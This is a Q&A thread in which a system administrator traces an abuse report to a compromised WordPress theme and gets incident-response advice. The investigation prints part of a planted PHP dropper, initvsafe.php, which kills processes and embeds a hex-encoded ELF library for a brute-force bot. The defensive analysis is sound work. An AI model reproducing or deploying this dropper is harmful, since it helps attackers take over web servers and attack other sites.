Someone is abusing my server but how do I stop the abuse?

Question

I am beginner system admin on a bunch of virtualized web servers. Recently we got an e-mail that one of our servers is being used for 'brute force' attacks. The content of the e-mail was similar to the following.

Greetings,

/somehost/ abuse team like to inform you, that we have had mass bruteforce attempts to the Joomla/WordPress control panel on the our shared-hosting server /somehost/.ru /ip-number/ from your network, from IP address /my-ip-address/

During the last 30 minutes we recorded 1500 attempts like this:

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

Total number of this attempts that have been recorded previously at this server (/some-host/.ru)[/their-ip/]:

====

This message was sent automatically by /some-company-name/ security system. Yor e-mail address obtained from the public WhoIs services. We are sorry for disturb if you have received this message by mistake. Please contact us if your e-mail is not relevant to this IP-address or network.

====

Thank you, /somehost/ abuse team

http:// /somehost/ dot ru

/some tel number in russia/,

/some more contact data in russia/

What should I think about this e-mail? Is this a scam or a important message that should not be ignored?

I find it strange that they write "Joomla/Wordpress" when it can obviously be seen in their logs that "wp-login.php" is a PHP script from WordPress.

On our server we host several WordPress blogs via Webmin/Virtualmin and a Squid server that is not accessible from outside.

I observed the traffic with iftop and nethogs for a while and can't see anything suspicious. The squid access log seems normal to me.

We can see lots of attempts to log in to our server in the "secure" log but no one manages it to gain access.

See following dump from secure.

an 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): check pass; user unknown
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_succeed_if(smtp:auth): error retrieving information about user thomas

And another one.

Jan 12 03:00:29 /server/ sshd[21948]: Invalid user anton from 109.7.72.130
Jan 12 03:00:29 /server/ sshd[21949]: input_userauth_request: invalid user anton
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): check pass; user unknown
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.72.7.109.rev.sfr.net
Jan 12 03:00:29 /server/ sshd[21948]: pam_succeed_if(sshd:auth): error retrieving information about user anton
Jan 12 03:00:32 /server/ sshd[21948]: Failed password for invalid user anton from 109.7.72.130 port 40925 ssh2
Jan 12 03:00:32 /server/ sshd[21949]: Received disconnect from 109.7.72.130: 11: Bye Bye

With "who" I can clearly see that only I am logged in via SSH.

Today I updated all Webmin and Virtualmin modules ans Squid to the newest versions.

What should we do now? What should be our next steps to secure the server from being used for attacks?
Is it even necessary?
What log files or configuration should we change/look at?

EDIT:

What I have done until now:

I checked files that changed at attack date (we had almost 50GB traffic on our IP according to our provider) with find / -type f -name "*" -newermt 2014-01-12 ! -newermt 2014-01-12 > out.log. Nothing changed.
I checked AWStats for all our domains. Not even one domain transferred over 40MB according to AWStats.
WordPress was up to date on attack day.
I updated all Webmin and Virtualmin modules.
I updated squid and changed its port to something else than 3128. I left only 80, 443 and 21 as "safe" ports.
I updated fail2ban.

I don't want to disconnect the server from the internet as suggested in How do I deal with a compromised server?. Our data is backed up so we are currently safe. However I would like to find out what caused the attack but I am still not able to achieve that.

EDIT 15.01.2014:

With nethogs I was able to find out that /usr/bin/host is receiving and sending much more data than expected.

NetHogs version 0.8.0

  PID USER     PROGRAM                                                                                                 DEV        SENT      RECEIVED
10267 /domain//usr/bin/host                                                                                           eth0     120.571     791.124 KB/sec
30517 /domain/sshd: /domain/@pts/0                                                                                  eth0       2.177       0.111 KB/sec
?     root     /ip-address/:39586-119.247.224.98:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:55718-69.163.148.232:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:38474-184.154.230.15:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:46593-66.7.212.199:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:58733-202.232.144.194:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:41154-83.170.122.1:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:39996-98.129.229.146:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:39872-98.129.229.146:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:37429-144.76.15.247:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:35063-216.12.197.226:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:51335-153.120.33.64:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:58344-64.207.178.120:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:55848-69.163.148.232:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:46799-66.7.212.199:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:38110-66.155.9.238:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:39713-76.74.254.120:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:33814-209.217.227.30:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:41009-212.113.141.212:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:57027-173.11.110.117:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:45436-83.222.250.186:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:59143-202.232.144.194:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:43357-217.9.42.182:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:32981-82.113.145.170:80                                                                             0.000       0.000 KB/sec
?     root     unknown TCP                                                                                                        0.000       0.000 KB/sec

  TOTAL                                                                                                                         122.749     791.235 KB/sec

When running lsof on the PID you can clearly see that something is really awry with the WordPress installation.

[root@/domain/ logs]# lsof | grep 1706
host       1706 /domain/  cwd       DIR              253,0     4096      10178 /home//domain//public_html/wp-content/themes/twentyeleven
host       1706 /domain/  rtd       DIR              253,0     4096          2 /
host       1706 /domain/  txt       REG              253,0   137592    1054438 /usr/bin/host
host       1706 /domain/  mem       REG              253,0   156928    1178048 /lib64/ld-2.12.so
host       1706 /domain/  mem       REG              253,0    22536    1178065 /lib64/libdl-2.12.so
host       1706 /domain/  mem       REG              253,0  1926800    1178057 /lib64/libc-2.12.so
host       1706 /domain/  mem       REG              253,0   145896    1178061 /lib64/libpthread-2.12.so
host       1706 /domain/  mem       REG              253,0    91096    1178098 /lib64/libz.so.1.2.3
host       1706 /domain/  mem       REG              253,0   358560    1051774 /usr/lib64/libisc.so.83.0.3
host       1706 /domain/  mem       REG              253,0   599384    1178963 /lib64/libm-2.12.so
host       1706 /domain/  mem       REG              253,0   124624    1178074 /lib64/libselinux.so.1
host       1706 /domain/  mem       REG              253,0   113952    1178072 /lib64/libresolv-2.12.so
host       1706 /domain/  mem       REG              253,0  1674840    1050692 /usr/lib64/libdns.so.81.4.1
host       1706 /domain/  mem       REG              253,0   140568    1051828 /usr/lib64/libisccfg.so.82.0.1
host       1706 /domain/  mem       REG              253,0    34696    1051827 /usr/lib64/libisccc.so.80.0.0
host       1706 /domain/  mem       REG              253,0    17256    1178085 /lib64/libcom_err.so.2.1
host       1706 /domain/  mem       REG              253,0  1953536    1050724 /usr/lib64/libcrypto.so.1.0.1e
host       1706 /domain/  mem       REG              253,0    12592    1178067 /lib64/libkeyutils.so.1.3
host       1706 /domain/  mem       REG              253,0    46368    1178081 /lib64/libkrb5support.so.0.1
host       1706 /domain/  mem       REG              253,0    19016    1178989 /lib64/libcap.so.2.16
host       1706 /domain/  mem       REG              253,0   944712    1178089 /lib64/libkrb5.so.3.3
host       1706 /domain/  mem       REG              253,0   177520    1178083 /lib64/libk5crypto.so.3.1
host       1706 /domain/  mem       REG              253,0   209120    1180550 /lib64/libidn.so.11.6.1
host       1706 /domain/  mem       REG              253,0   280520    1178096 /lib64/libgssapi_krb5.so.2.2
host       1706 /domain/  mem       REG              253,0    52944    1051829 /usr/lib64/libbind9.so.80.0.4
host       1706 /domain/  mem       REG              253,0    75936    1052874 /usr/lib64/liblwres.so.80.0.2
host       1706 /domain/  mem       REG              253,0    21152    1178987 /lib64/libattr.so.1.1.0
host       1706 /domain/  mem       REG              253,0  1383368    1051772 /usr/lib64/libxml2.so.2.7.6
host       1706 /domain/  DEL       REG              253,0                 656 /home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so
host       1706 /domain/  mem       REG              253,0    27424    1178071 /lib64/libnss_dns-2.12.so
host       1706 /domain/  mem       REG              253,0    65928    1178073 /lib64/libnss_files-2.12.so
host       1706 /domain/  mem       REG              253,0 12582912      11739 /home//domain//public_html/wp-content/themes/twentyeleven/.sd0
host       1706 /domain/  DEL       REG              253,0                 655 /home//domain//public_html/wp-content/themes/twentyeleven/libworker.so
host       1706 /domain/    0r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    1r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    2r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    3r      CHR                1,3      0t0       3782 /dev/null
spamd     18546        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd     18548        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd     18549        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so

I will have to take a look at home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so.

Simply all files that changed in January 2014 are not in the standard Twenty Eleven theme installation of WordPress. For example there is a script called initvsafe.php which can be used to store files in the file system.

<?php

header("Content-type: text/plain");

if (! function_exists('file_put_contents')) {
        function file_put_contents($filename, $data) {
                $f = @fopen($filename, 'w');
                if (! $f)
                        return false;
                $bytes = fwrite($f, $data);
                fclose($f);
                return $bytes;
        }
}

@system("killall -9 ".basename("/usr/bin/host"));

$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x54\x0d\x00\x00\x34\x00\x00\x00\x48\x69\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x0f\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x60\x00\x00\xf0\x60\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\xf0\x07\x00\x00\xac\x61\x00\x00\x06\x00\x00\x00\x00\x10\x00\x00\x02\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\x90\x00\x00\x00\x90\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x25\x00\x00\x00\x3c\x00\x00\x00\x21\x00\x00\x00\x31\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x11\x00\x00\x00\x1c\x00\x00\x00\x28\x00\x00\x00\x2f\x00\x00\x00\x3b\x00\x00\x00\x29\x00\x00\x00\x39\x00\x00\x00\x15\x00\x00\x00\x05\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00\x33\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x32\x00\x00\x00\x1e\x00\x00\x00\x3a\x00\x00\x00\x2a\x00\x00\x00\x34\x00\x00\x00\x36\x00\x00\x00\x23\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

...

Are there any new users on these systems? How about WordPress users? (Are there too many to tell?) New files? (Grant answered while I was typing; what he said.) — Katherine Villyard, Jan 13 '14 at 20:30
Have you checked if your server can be used as a proxy server? (But yes, those .so files look very suspicious) — BlaM, Jan 15 '14 at 11:03
@MadHatter: I am aware of that thread but I think it is too general. I miss exact commands with parameters or log files that should be used when analyzing a compromised server. — Tony Stark, Jan 15 '14 at 11:08
Based on your other question here today I'd say you've been compromised. Nuke it from orbit, reinstall and recover from backups - the only way to be sure. — user9517, Jan 15 '14 at 11:16
Tony, you misunderstand the purpose of canonical questions on SF: they are all the community is willing to say on the subject. Everyone's compromised server is different, but it's not practical for us to give custom advice for each compromise. Instead, the community's wisdom ("*nuke from orbit, reinstall, and recover from backups*", as Iain so tersely puts it!) is distilled into one place, and that's as far as we can take you. You've done a good job, in this case, of establishing that it's very likely indeed that your server has been compromised. The rest of the journey is for you. — MadHatter, Jan 15 '14 at 11:33

score 4 · Accepted Answer · edited Apr 13 '17 at 12:14

It's probably legitimate. The reason it doesn't explicitly say wordpress is because it's an automated message - sent automatically by some script that detects attacks like that and reports it back to the source's owners.

If your servers have been hacked, the first thing an attacker would do is install modified binaries for who, ls and similar commands to hide their own activity. And delete records of their login from the logs. So it's possible you are compromised. How do I deal with a compromised server? covers what to do.

Most likely, they did not gain access through SSH, rather through something like a PHP script that acts as a proxy server. Check all your websites for files that don't belong. Check the access logs as well for unusual activity. Check for outdated (or even up to date, but with reported vulnerabilities) versions of wordpress, phpmyadmin, etc.

score 0 · Answer 2 · answered Jan 13 '14 at 22:35

You may want to also check if rkhunter comes up with anything suspicious. The real problem is that once a server is compromised, especially if you had fail2ban and other packages patched, it may be safer to take it offline, even if it is only to move some of the evidence (logs) onto another machine. As Grant mentioned, you cant be sure that the logs were not tampered/deleted to cover any tracks, so assume the worst.

You may want to have a look at the fail2ban logs to see whether there is anything unusual as well.

You may also want to have a quick look at the debian handbook part 14.6 , dealing with compromised systems.

Someone is abusing my server but how do I stop the abuse?

2 Answers2